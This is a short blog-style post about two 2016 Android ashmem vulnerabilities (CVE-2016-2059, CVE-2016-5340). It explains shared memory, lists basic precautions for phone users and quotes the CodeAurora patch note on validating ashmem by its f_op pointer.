Android is designed to be used for resource limited embedded hardware. In order to maximize the memory resources. A system entity so called ashmem (anonymous shared memory) located at $AOSP/system/core which take care of the memory resources utilization. The operation of ashmem as simple as handling generic Linux file descriptor and . A file entry was created in the /dev/ashmem/. From technical point of view, it looks like a memory swap file of each process. However Ashmem allows processes which are not related by ancestry to share memory maps by name, which are cleaned up automatically.

Should we wait or we should take preemptive action?

Since CVE-2016-2059 and CVE-2016-5340 are the design limitation. It looks that the appropriate way is re-engineering the whole OS memory function. I speculated that may be this is the reason causes patch release date is unknown. As such, in the meantime Android users should take pre-emptive action (see below).

1. Do not jailbreak your android phone. If yes, the better idea is install the official OS version.

2. Verify your phone applications. Be aware the communication media software like WeCHAT, Whatsapp, Skype,…etc shall install updated version of software.

3. Avoid to visit online game zone and pornography web site.

4. Think it over before you open unknown email message

5. Think it over before your open unknown file attachment

For more details about these vulnerabilities. Please review below url for reference.

https://source.android.com/security/bulletin/2016-08-01.html

Status update on 11th Aug 2016

Sound strange! Found that the remediation and mitigation solution released by CodeAurora on Jul 2016. For instance CVE-2016-5340 (Invalid access to ashmem area in cases where someone deliberately set the dentry name to /ashmem)

Objective:
Validate ashmem memory with fops pointer

Solution:
Validate the ashmem memory entry against f_op pointer
rather then comparing its name with path of the dentry.

This is to avoid any invalid access to ashmem area in cases
where some one deliberately set the dentry name to /ashmem.

Comments:

It looks that the solution is available. In the meantime mobile phone users need to wait for the next action of their mobile phone vendor.